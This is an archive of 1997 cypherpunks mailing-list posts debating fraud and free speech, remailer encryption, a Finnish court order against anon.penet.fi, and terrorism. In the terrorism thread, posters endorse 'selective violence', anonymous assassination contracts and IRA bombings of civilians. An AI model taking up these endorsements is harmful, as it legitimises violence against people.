Message-ID: <JumZ8D35w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:

> > The prospectus is a legal document -- part of the contract between the
> > mutual fund and the customer.
> >
> > So, the question is, should there be any legal constraints on the
> > "speech" in contracts?
>
> Of course, a contract is a binding document, that does not imply that
> there should be any legal constraint on the speech within that contract.
> If I sign a contract which says that I must kill myself on demand, and
> the penalty for breach of contract in this case is a fine of say $5000, I
> am certainly stupid if I sign such a contract, assuming that is that I am
> logical and not suicidal, I must later decide if I value my life at over
> $5000, I assure you, this is not a difficult question to answer ;-).

I don't know how they phrase it in the UK, but in the US such a contract
would violate "public policy" and is therefore unenforceable.

> The point is that breach of contract shouldn`t be a criminal offence, it
> is a civil offence, and the penalties for breach of contract should be
> agreed during negotiation of that contract. Therefore, I must evaluate
> for myself if I consider the contract to be reasonable and if I consider
> the penalties for breach of that contract too great to risk incurring
> such penaties. There is no reason to suggest that contractural speech is
> protected in this fashion, as it is an agreement and not pure speech.
>
> >Can I sign a contract, and later be able to
> > say "Oh, *that* clause!  That was just a *joke*"?
>
> This is a straw man, there is no way you can equate contractural speech
> and other forms of speech, one takes the form of an agreement, the civil
> crime commited on breach of contract is not a form of speech, it is an
> overt act which breaks that contract.

That's a very good point.  If I commit assault/battery on Kent, the
gubmint supposedly has jurisdiction because I've violated "king's peace".

If I advertise that "borshch cures cancer" and Kent buys some borshch
from me, and dies from cancer anyway, then what's the basis for the
gubmint's involvement?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 9 Jun 1997 00:47:53 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706081538.KAA04719@mailhub.amaranth.com>
Message-ID: <caNZ8D36w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@amaranth.com> writes:
> <sigh> Ofcource what I say in a contract is "free". I can say anything I
> want in a contract solong as the parties involved agree.

Are ads a part of the contract, though?

> What is controled is my actions not my speech. If I enter into a
> "contract" to provide borshch on the promise that it will cure your cancer
> *knowing* that it will not then I am guilty of fraud. This fraud is caused
> by my not honoring the contract. The government does not have a right to
> restrict my speech in a contract only as an arbitrator of contracts do
> they have a right to restrict my actions (ie: that I live up to the
> conditions of the contract).

If I enter into a sales contract with Kent to give him borsch to cure
his cancer, and this is not an FDA-approved treatment, then this contract
is against public policy and shouldn't be enforceable. :-)

But to convict me of fraud, the gubmint should prove that borshch doesn't
cure cancer.  How would one prove that?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 9 Jun 1997 03:52:10 +0800
To: ichudov@Algebra.COM (Igor Chudov @ home)
Subject: Re: Who subscribes to the list?
In-Reply-To: <199706070142.DAA29774@basement.replay.com>
Message-ID: <3.0.1.32.19970608123101.02f91bcc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:49 PM 6/6/97 -0500, Igor Chudov @ home wrote:
>What do remailer operators think about requiring all incoming messages
>to be encrypted?  Would that bring more good than harm?

For security, you need encryption.  There's really no question about it,
and a non-encrypted remailer chain is a joke.

For convenience, you'd rather not need user-visible encryption,
but SSL lets you do an encrypted web interface without the user
needing to do any work.  The catch is that it becomes much harder
to do chained encryption - if the cgi remailer program does it,
the connections from the web remailer through the chain are secure,
but the user still needs to trust the web-remailer.

You may not _want_ too much convenience, to discourage spammers,
but you may be willing to tolerate a joke level of security
as long as the joke is good enough and enjoyed by enough people....

On the balance, I'd say encrypt.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 9 Jun 1997 03:43:28 +0800
To: cypherpunks@Algebra.COM
Subject: Julf ordered to reveal anon IDs
Message-ID: <199706081936.MAA00296@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



> Julf

Johan Helsingius (Julf) has been ordered to release the identity of the
poster of one of the Scamizdat series of confidential materials. 

"The Court of Appeals of Helsinki (Helsingin hovioikeus) has upheld the
decision of the local court of Helsinki, in which Johan 'Julf' Helsingius
was ordered to reveal the user id of the person who used the anon.penet.fi
server to repost parts of Scamizdat, a collection of secret Scientology
scriptures. 

"In its decision dated 4th of June 1997, the Court of Appeals orders
Helsingius to reveal the names in 30 days after the decision becomes
final. If he doesn't try to appeal the decision it will mean that he has
to reveal the user id within three months. He might appeal the decision to
the Supreme Court within 60 days, in which case the whole thing will take
longer, regardless of whether the Supreme Court chooses to consider the
case or not. 

"The following ID's were used to send material through anon.penet.fi: 
an498608@anon.penet.fi, an545430@anon.penet.fi

"The material was a repost of Scamizdat #11, in several parts. The
original repost was done on 15.2.1996, and partly repeated 12.3.1996." 

Message-ID: <5n7g0v$h75@reimari.uwasa.fi>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kris Carlier <root@iguana.be>
Date: Sun, 8 Jun 1997 19:34:44 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <Pine.LNX.3.91.970607230450.11734A-100000@fatmans.demon.co.uk>
Message-ID: <Pine.LNX.3.95.970608133133.2498A-100000@inlimbox.iguana.be>
MIME-Version: 1.0
Content-Type: text/plain



High Paul,

On Sat, 7 Jun 1997, Paul Bradley wrote:

I'm sorry, I should refrain from posting to this list again till I
understand English ;-)

> disagreements, but I believe the only way to remove the power of the 
> state is through selective violence as part of an overall strategy 
> including strong cryptography and associated technologies. 

I agree with civil disobediance as a matter of revolt, and of course if
you have a reason to do so. Not everything the government does is wrong,
only because it is done by the government.

kr=

                   \\\___///
                  \\  - -  //
                   (  @ @  )
 +---------------oOOo-(_)-oOOo-------------+
 |     kris carlier - carlier@iguana.be    |
 | Hiroshima 45, Tsjernobyl 86, Windows 95 |
 | Linux, the choice of a GNU gener8ion    |
 |            SMS: +32-75-61.43.05         |
 +------------------------Oooo-------------+
                  oooO   (   )
                 (   )    ) /
                  \ (    (_/
                   \_)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 9 Jun 1997 00:03:58 +0800
To: carlier@iguana.be
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <Pine.LNX.3.95.970608133133.2498A-100000@inlimbox.iguana.be>
Message-ID: <Pine.LNX.3.91.970608135502.729A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> I agree with civil disobediance as a matter of revolt, and of course if
> you have a reason to do so. Not everything the government does is wrong,
> only because it is done by the government.

There we disagree. I believe the scale of crimes commited by governments 
as a whole varies from government to government, and from one time to 
another. However, the natural "evolutionary" process of government always 
results in a pervasive state which controls more than it should. This is 
why, although I support the ideals and sentiments behind minarchism, I do 
not believe it is possible, without systems such as AP, or simply 
anonymous assasination contracts, to support minarchist government and 
keep it stable and static. (maybe, even though Jim Bell intended AP to 
support and maintain anarchy it might lead to more stable minarchist 
government by providing a means of removing those who go too far in their 
search for power?).

Even then though, I cannot see how a stable minarchist state can be 
created which we can be assured will remain static in it`s powers, and 
the very notion of a state which has certain powers at its disposal, even 
if it does not use them, does not leave me with a good feeling.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 9 Jun 1997 04:36:33 +0800
To: rah@shipwright.com>
Subject: Re: FC97 in July Wired
Message-ID: <v03020914afc071401b5b@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



About the third thing I imagined, after imagining the world's first
financial cryptography conference, and, better yet, having it on Anguilla
in February; and, after imagining it as Wired's featured 'Deductible
Junket'; was imagining a nice feature article in Wired on the conference
after it was all over.

Thanks to Charles Platt, I now figure I can die and go to heaven, as all
three have happened. :-). Out of Town Newspapers in Harvard Square says
they'll have the July Wired next Friday. It appears that Vince gets a
subscription down in Anguilla, which got there yesterday, and probably
everywhere else, I reckon. So, the checks may take 90 days to clear in
Anguilla, but at least the mail gets there on time...

Stay tuned for details (as we imagine them :-)) about FC98, and about the
FC97 conference proceedings, which should be published by Springer-Verlag
this summer.



Cheers,
Bob Hettinga,
General Chairman,
Financial Cryptography, 1997/98,
Anguilla, BVI

P.S. if you, or anyone you know, is interested in FC98 sponsorship or
exhibition space opportunities, please contact me.

--- begin forwarded text


Resent-Date: Sun, 8 Jun 1997 08:57:10 -0400
X-Authentication-Warning: online.offshore.com.ai: list set sender to
fc97-request@offshore.com.ai using -f
Date: Sun, 8 Jun 1997 08:57:04 -0400 (AST)
From: Vincent Cate <vince@offshore.com.ai>
To: fc97@online.offshore.com.ai
cc: ois-news@online.offshore.com.ai
Subject: FC97 in July Wired
MIME-Version: 1.0
Resent-From: fc97@offshore.com.ai
X-Mailing-List: <fc97@offshore.com.ai> archive/latest/57
X-Loop: fc97@offshore.com.ai
Precedence: list
Resent-Sender: fc97-request@offshore.com.ai


The July issue of Wired magazine has an article about the Financial
Cryptography 97 conference held in Anguilla.

    -- Vince

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 Vincent Cate                           Offshore Information Services
 Vince@Offshore.com.ai                  http://www.offshore.com.ai/
 Anguilla, BWI                          http://www.offshore.com.ai/vince
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 9 Jun 1997 07:05:41 +0800
To: cypherpunks@cyberpass.net
Subject: Fraud and free speech
In-Reply-To: <199706081255.HAA03281@mailhub.amaranth.com>
Message-ID: <v03102802afc0e602d172@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:51 AM -0700 6/8/97, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <Pine.GSO.3.95.970608053415.20770A-100000@well.com>, on 06/08/97
>   at 07:36 AM, Declan McCullagh <declan@well.com> said:
>
>>I don't think commercial speech should be treated as second-class speech.
>>But my position is hardly surprising.
>
>Well I think that there are some that would confuse the issue between 1st
>Amendment free speech and the issues surrounding fraud. Especially those
>in government who write the laws that regulate commercial speech.

The mistake has been to extend "fraud" laws to non-contract situations,
e.g., ordinary speech (as distinguished from contracts).

If the Catholics say drinking the blood of JC and eating a piece of his
flesh (aka, "Jesus sashimi") will get you into Heaven, is this fraud or not?

In the increasingly popular notion of fraud, sure it is. It is a statement
or assurance which is almost certainly false. But then, aren't all
religions frauds?

Contracts, with clearly stated conditions and with judgeable or
falsifiable/testable conditionals, are a matter for the courts (private
courts, in fact), but vague promises, advertisements, propaganda, etc. are
not.

Clear now?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 9 Jun 1997 04:35:47 +0800
To: cypherpunks@toad.com
Subject: Call for Papers: Jurimetrics Special Edition on PKI
Message-ID: <v03020917afc0c0d9044f@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Authentication-Warning: blacklodge.c2.net: majordom set sender to
owner-spki@c2.org using -f
X-Sender: baum@world.std.com
Date: Sun, 08 Jun 1997 09:46:14 -0400
To: spki@c2.net
From: "Michael S. Baum" <michael@verisign.com>
Subject: Call for Papers: Jurimetrics Special Edition on PKI
Mime-Version: 1.0
Sender: owner-spki@c2.net
Precedence: bulk


*** Announcement ***


JURIMETRICS

Winter 1998

Special Issue on Public Key Infrastructure

(Security in Electronic Commerce: Technology, Infrastructure and
Practices for Certification Authorities and Digital Signatures)



I. Contents of this Solicitation

· General Information
· Call for Papers
· Criteria for Papers
· Submission Information
· Important Dates
· Virtual Conference
· Organization
· Inquiries


 II. General Information

We are pleased to announce the planned publication of a special issue of
the Jurimetrics Journal of Law, Science and Technology that will
exclusively address public key infrastructure (PKI) -- the law and
technology of certificate-based digital signatures and secure electronic
commerce. This announcement solicits articles for consideration for this
special Winter 1998 issue, which is intended as a forum for attorneys,
technologists, developers, and users interested in the legal aspects and
implications of PKI.

Jurimetrics Journal of Law, Science and Technology, published quarterly, is
the journal of the American Bar Association Section of Science and
Technology and the Center for the Study of Law, Science and Technology of
the Arizona State University College of Law.

The Information Security Committee, Electronic Commerce Division, Section
of Science and Technology of the American Bar Association (ISC) explores
and develops legal policy and foundation to support PKI and secure
electronic commerce. The ICS's current endeavors include research and work
product concerning: accreditation of certification authorities, commercial
key escrow guidelines, PKI evidentiary issues, digital signature
legislative initiatives, CA and user liability, and other legal issues
relating to secure electronic commerce. The discussions are moderated by
the relevant Work Groups of the ISC, and the ISC is open to professionals
of all disciplines with similar interests. In August l996, the ISC
published the Digital Signature Guidelines.  See Tutorial, Table of
Contents, and List of Contributors of the Digital Signature Guidelines at
http://www.abanet.org/scitech/ec/isc/dsg-tutorial.html.


 III. Call for Papers

 Papers are invited on all subjects related to applications of PKI and
their corresponding legal issues. The special edition is structured as
follows:

· Preface
· Introduction
· Tutorial, Architecture and Technology
· International Issues
· Liability, Contractual, Intellectual Property, and other Substantive
Legal Issues
· Government - Legislative, Regulatory, Policy, Enforcement
· Accreditation of Certification Authorities (including licensure and other
quality issues)
· Miscellaneous

Papers submitted should be concise and focused on the kernel rather than
exhaustive detail of new ideas intended to be communicated.  Papers should
not restate basic PKI technology but instead refer to the common tutorial
located in the introductory materials.

We thank you in advance for your submissions to this special issue of
Jurimetrics on PKI.


IV. Criteria for Papers

Preference will be given to papers that comply with the following criteria:

· are no longer than 8,000 words (under 10 pages, 12 point type, single spaced)
· provide appropriate annotation
· include URLs in annotations, where available
· consider both legal and technical issues/implications
· involve joint authorship between a lawyer and technologist
· are original works not previously published elsewhere
· conformance to the instructions for prospective Jurimetrics authors
posted at    http://www.asu.edu/law/jurimetrics/author.htm


 V. Submission Information

Send brief but informative abstract of one or two pages as an email
attachment to jurimetrics@cnidr.org. If possible, please use Word 6.0
(Office 95) to facilitate handling. A one paragraph bio is also requested
but not required.


 VI. Important Dates

· Abstracts must be submitted by: 25 June 1997
· Deadline for submission of drafts: 15 October 1997
· Final version ready, after all cite checks and editorial changes: 31
December 1997
· Publication of Jurimetrics special issue on PKI: February 1998


VII. Virtual Conference

All papers accepted to Jurimetrics Winter 1998 special issue on PKI will
appear in full or abstract form in a Virtual Conference Center hosted by
the ISC.  The PKI community will have the opportunity to participate in
discussions with the authors using e-mail and the World Wide Web. The
Virtual Conference Center will feature a variety of electronic for a
moderated by leading PKI experts for the facilitation of communication
within the virtual PKI/law & technology community.


VIII. Organization for the Jurimetrics Special Issue on PKI

Guest Editor-in-Chief:

     Michael S. Baum, Esq., VP, Practices and External Affairs, VeriSign, Inc.

  Associate Guest Editors:

     Joseph H. Alhadeff, Esq., Director, Electronic Commerce, U.S. Council
for Int'l Business (USCIB)
     Warwick Ford, Ph.D., Director, Advanced Technology, Verisign, Inc.
     Theodore Ling, Esq., Baker & McKenzie, Toronto, Ontario.
     Charles R. Merrill, Esq., McCarter & English, Newark, NJ.
     Arthur F. Purcell, J.D., International Project Specialist, US Patent &
Trademark Office
     Ruven Schwartz, Esq., Info. Security, West Group Business Manager


XI. Inquiries

If you need help or have questions which are not answered in the above
information, please e-mail: jurimetrics@cnidr.org

***





--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 8 Jun 1997 22:47:23 +0800
To: cypherpunks@toad.com
Subject: ethanol, which is a fuel made from a mixture of corn and your tax dollars
Message-ID: <199706081425.QAA05869@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



June 6, 1997
Potomac Watch
Guess Who's Trying To Save Corporate Welfare

By PAUL A. GIGOT

Let us now break this column's recent pattern and praise a Republican.
He's Texan Bill Archer, who is taking a run at the federal government's
worst case of corporate welfare. He has just one problem: Other
Republicans, notably the speaker of the House.

Mr. Archer wouldn't have sat in the minority for 24 years if he wasn't
willing to tilt at windmills. But now that he's running the tax-writing
Ways and Means Committee, his tilting matters. So this year he's aiming
at ethanol, which is a fuel made from a mixture of corn and your tax
dollars. He has enough votes to get the bill through his committee, and
it could pass Congress if the GOP leadership gave it a push.

The entire corporate welfare debate is a good test of whether the GOP's
ultimate loyalties lie with business, or with taxpayers. The ethanol
savings would be only a couple of billion dollars, but in today's
Washington we have to be grateful for small favors. By shutting down
this corn sluice, Republicans would show they can ox their own political
gore. They'd also create more space for tax cuts that'd help more
Americans, such as for capital gains.

?

The political timing won't get any better. When Mr. Archer first tried
this in late 1995, Bob Dole, self-described Senator Ethanol, hadn't yet
retired. The presidential caucuses in Iowa, ethanol's Elysian fields,
were three months away, not three years as they are now.

Archer-Daniels-Midland Co., the political benefactor and ethanol
beneficiary, hadn't yet pleaded guilty to price-fixing charges.
Farm-state Republicans had more leverage over their leadership in 1995
because the GOP was trying to pass a budget with only GOP votes. Now in
bipartisan mode, Republican leaders can pick up some Democrats to keep a
majority.

All of which puts the pressure squarely on Newt Gingrich, who has to
decide if he again wants to rescue the ethanol subsidy at the House
Rules Committee pass. That's what he did in 1995 after consulting
Senator Ethanol. The speaker explained to some of us then that killing
the subsidy was too politically risky while Republicans were trying to
change so much of the rest of the government.

But Republicans are now trying to change very little of the government,
and Mr. Gingrich is still resisting. "I do not believe it is possible in
this Congress to eliminate the ethanol tax break," the speaker told
reporters this week. That's analysis masking incumbent protection. The
speaker is fronting for members who don't want to cast any difficult
votes this Congress.

Those members include several ferocious Republican opponents of the
welfare state, nonfarm version: Nebraska's Jon Christensen, erstwhile
revolutionary; John Boehner, from the farm state of greater Cincinnati;
Henry Hyde of the poverty-stricken Chicago suburbs; Michigan's Fred
Upton, the renowned budget balancer; and Helen Chenoweth, Idaho's
scourge of Big Government.

Perhaps they were inspired to sign a letter embracing ethanol subsidies
by another co-signer, the greatest class warrior in all of Congress,
Michigan Democrat and man of the people, David Bonior. He's now earned
the title of Congressman Ethanol.

This crowd must have missed a recent General Accounting Office report,
which found that the ethanol subsidy justifies none of its political
boasts. It doesn't help air quality much, hardly reduces U.S. dependence
on foreign oil and shovels much of its benefit to big ethanol producers.

"Sixty-five percent of capacity is owned by the three largest firms, and
the largest firm, Archer-Daniels-Midland, owns 50% of capacity," says
the GAO study. Some things dubbed "corporate welfare" are arguably
useful, but this isn't one of them.

What's most notable, and depressing, about all of this is that it
symbolizes the GOP Congress's change from reformers to incumbents. A
majority Democratic coalition is naturally held together by its power to
dispense government favors. But Republicans won their majority in 1994
running on ideas and reform.

The danger for Republicans is that they are slowly evolving into a
majority whose main rationale is keeping power. "That's what I fear more
than anything," says Indiana Rep. David McIntosh, who voted against the
budget deal for that reason. This may let Republicans keep their
majority in 1998, but it hardly offers much reason to increase it, or
much of an agenda. And sooner or later even House Democrats will figure
out they can win back the House if they depict Republicans as the party
of status quo government.

All politicians claim to hate corporate welfare, but they vote for it
when only the beneficiaries are watching. They could learn from T.J.
Rodgers, the Silicon Valley entrepreneur, who has rounded up 61 fellow
high-tech CEOs to say they support cutting corporate subsidies, even if
it means giving up their own federal grants. Republicans are supposed to
believe this too, as Bill Archer, to his credit, is reminding them.

--from the Wall Street Urinal, used without permission, all rights
ignored.













From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 9 Jun 1997 00:13:33 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <o8eZ8D31w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.91.970608163357.917A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > Well I can only see this as a good thing. :)
> >
> > It is the people of England that support that illegal occupation of Irish
> > soil by Brittish troops. It is only right that they should have to suffer
> > the consequences.
> 
> Paul,
> 
> The reason why the IRA bombs (or threatens to bomb) targets all over the UK
> is that they want to make the voting public so sick and tired of the status
> quo in NI that they'll demand a pull-out, which is just what the IRA wants.

Yes, I think you will also find that most people in mainland England 
don`t really have an opinion one way or the other, they vaguely feel that 
the British should pull out of NI because they want to stop the bombings, 
they also vaguely feel that would be giving in to "terrorists".

> The UK is a democracy - supposedly it's up to the voters to decide if they
> want the UK to stay in NI, so the voters are being "persuaded".
> 
> The PLO used a similar successful strategy to convince Israeli voters to
> agree to peace talks.

One of the reasons I don`t really have a strong opinion one way or the 
other about the NI question is because I believe a British withdrawal 
would simply result in the replacement of one set of corrupt political 
rulers with another. The Irish parliament is no better than any other 
government, no suprise there.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 9 Jun 1997 00:41:05 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <T2eZ8D30w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.91.970608163912.917B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> 
> Troll: and how about them proposed restrictions on tobacco advertising...
> 

Troll-Response: The UK government has recently proposed a ban on all 
tobacco advertising (should be in place within a few months) including 
sponsorship of sport etc. Time to dust of the barbeque, we`re gonna have 
us a statist roast ;-)...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 9 Jun 1997 00:22:25 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <19970608065652.41575@bywater.songbird.com>
Message-ID: <Pine.LNX.3.91.970608164435.917D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> The prospectus is a legal document -- part of the contract between the
> mutual fund and the customer. 
> 
> So, the question is, should there be any legal constraints on the 
> "speech" in contracts?  

Of course, a contract is a binding document, that does not imply that 
there should be any legal constraint on the speech within that contract. 
If I sign a contract which says that I must kill myself on demand, and 
the penalty for breach of contract in this case is a fine of say $5000, I 
am certainly stupid if I sign such a contract, assuming that is that I am 
logical and not suicidal, I must later decide if I value my life at over 
$5000, I assure you, this is not a difficult question to answer ;-).

The point is that breach of contract shouldn`t be a criminal offence, it 
is a civil offence, and the penalties for breach of contract should be 
agreed during negotiation of that contract. Therefore, I must evaluate 
for myself if I consider the contract to be reasonable and if I consider 
the penalties for breach of that contract too great to risk incurring 
such penaties. There is no reason to suggest that contractural speech is 
protected in this fashion, as it is an agreement and not pure speech.

>Can I sign a contract, and later be able to 
> say "Oh, *that* clause!  That was just a *joke*"?

This is a straw man, there is no way you can equate contractural speech 
and other forms of speech, one takes the form of an agreement, the civil 
crime commited on breach of contract is not a form of speech, it is an 
overt act which breaks that contract. 

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 9 Jun 1997 10:08:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fraud and free speech
In-Reply-To: <v03102802afc0e602d172@[207.167.93.63]>
Message-ID: <v03102804afc0fc8e1db0@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:14 PM -0700 6/8/97, William H. Geiger III wrote:

>Well I would have to dissagre. Advertisements should be covered under
>contract law as verbal contracts. If I advertise that "X" does "Y" but it
>really does "Z" then this is clearly fraudulent behavior.

When I was growing up, advertisements that a product would make one
attractive to women, for example, were treated as marketing jive. And we
were all taught the old saw, "If Johhny told you to jump off a cliff, would
you?" (This along with "sticks and stones" formed the basis of my
proto-libertarian view.)

An advertisement is a tease, not a promise. If a advertisement for a
Pentium says it will run Macintosh software and run it at 600 Mhz, the
proper response is skepticism, not demanding a law be passed to stop such
advertisements.

The key lies in proper contracts, not in regulating speech.

(Oh, and it almost goes without saying that the same "lies" William and
others are so worried about in "commercial" speech happen all the time in
non-commerical speech. For every example of where commercial speech
involves lies or fraud, I can find similar or fully equivalent
non-commercial examples, ranging from lies like "I love you" to get a
partner into bed to deliberate misstatements to mislead an opponent. Why
should such "lies" be protected while putatively commercial speech is to be
subjected to an increasing number of limitations?)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 9 Jun 1997 07:47:31 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Fraud and free speech
In-Reply-To: <v03102802afc0e602d172@[207.167.93.63]>
Message-ID: <199706082331.SAA10511@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102802afc0e602d172@[207.167.93.63]>, on 06/08/97 
   at 03:48 PM, Tim May <tcmay@got.net> said:


>At 5:51 AM -0700 6/8/97, William H. Geiger III wrote:
>>-----BEGIN PGP SIGNED MESSAGE-----
>>
>>In <Pine.GSO.3.95.970608053415.20770A-100000@well.com>, on 06/08/97
>>   at 07:36 AM, Declan McCullagh <declan@well.com> said:
>>
>>>I don't think commercial speech should be treated as second-class speech.
>>>But my position is hardly surprising.
>>
>>Well I think that there are some that would confuse the issue between 1st
>>Amendment free speech and the issues surrounding fraud. Especially those
>>in government who write the laws that regulate commercial speech.

>The mistake has been to extend "fraud" laws to non-contract situations,
>e.g., ordinary speech (as distinguished from contracts).

>If the Catholics say drinking the blood of JC and eating a piece of his
>flesh (aka, "Jesus sashimi") will get you into Heaven, is this fraud or
>not?

>In the increasingly popular notion of fraud, sure it is. It is a
>statement or assurance which is almost certainly false. But then, aren't
>all religions frauds?

>Contracts, with clearly stated conditions and with judgeable or
>falsifiable/testable conditionals, are a matter for the courts (private
>courts, in fact), but vague promises, advertisements, propaganda, etc.
>are not.

>Clear now?

Well I would have to dissagre. Advertisements should be covered under
contract law as verbal contracts. If I advertise that "X" does "Y" but it
really does "Z" then this is clearly fraudulent behavior.

The difficulty is in proving that "X" does "Z" and not "Y" but that is an
exercise left to the civil courts.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

